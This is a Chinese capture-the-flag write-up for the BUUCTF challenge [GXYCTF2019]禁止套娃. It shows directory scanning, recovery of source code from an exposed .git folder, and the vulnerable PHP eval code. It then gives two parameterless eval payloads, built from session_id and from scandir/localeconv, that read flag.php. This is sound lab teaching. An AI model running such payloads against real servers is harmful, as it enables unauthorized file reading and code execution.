当前位置:网站首页>BUUCTF WEB [GXYCTF2019]禁止套娃
BUUCTF WEB [GXYCTF2019]禁止套娃
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019]禁止套娃
-
没有任何提示,使用dirsearch扫描
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......
扫描到很多有关.git文件夹的路径,怀疑是.git泄露
-
使用scrabble扫描
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init
扫描到了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
-
第一层过滤
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
过滤了一些PHP伪协议
-
第二层过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里的
(?R)
表示引用当前的表达式,(?R)?
表示可以有零次或一次引用,可以匹配print(echo(1))
等由字符和括号嵌套组成的字符串
-
第三层过滤
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
过滤了一些关键字
方法1 session_id
?exp=highlight_file(session_id(session_start()));
同时抓包在Cookie中设置PHPSESSID
PHPSESSID=flag.php
方法2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())
会返回.
,然后使用scandir()函数扫描当前文件夹
localeconv()
函数会返回包含本地数字及货币格式信息的数组,这个数组的第一个元素是.
current()
函数返回数组中的当前元素的值,每个数组的初始指针都指向数组的第一个元素
array_reverse()
函数以相反的顺序返回数组
next()
函数将内部指针指向数组中的下一个元素并输出
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124349048
边栏推荐
猜你喜欢
编程辅助工具推荐:图片工具snipaste
QT draw image
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
Qt一个进程运行另一个进程
SSL证书退款说明
Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?
Message queuing overview
Fastjson 2 来了,性能继续提升,还能再战十年
IDEA 代码质量规范插件SonarLint
I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
随机推荐
How much does software testing help reduce program bugs?
Qt进程间通信
第二十五课 类的静态成员变量
软银愿景基金进军Web3安全行业 领投CertiK 6000万美元新一轮投资
After a circle, I sorted out this set of interview questions..
Running error: unable to find or load the main class com xxx. Application
A detailed explanation of head pose estimation [collection of good articles]
Tips for installing MySQL service in windows11: Install / Remove of the Service denied
为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
One way ANOVA of SPSS
Force buckle - 1137 Nth teponacci number
Here comes the detailed picture and text installation tutorial of H5 game
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
第二十三课 临时对象
Stacks and queues a
QT draw text
Number of nodes of complete binary tree
Plato Farm-以柏拉图为目标的农场元宇宙游戏
对话PostgreSQL作者Bruce:“转行”是为了更好地前行
网站首页文件被攻击篡改的形式有哪些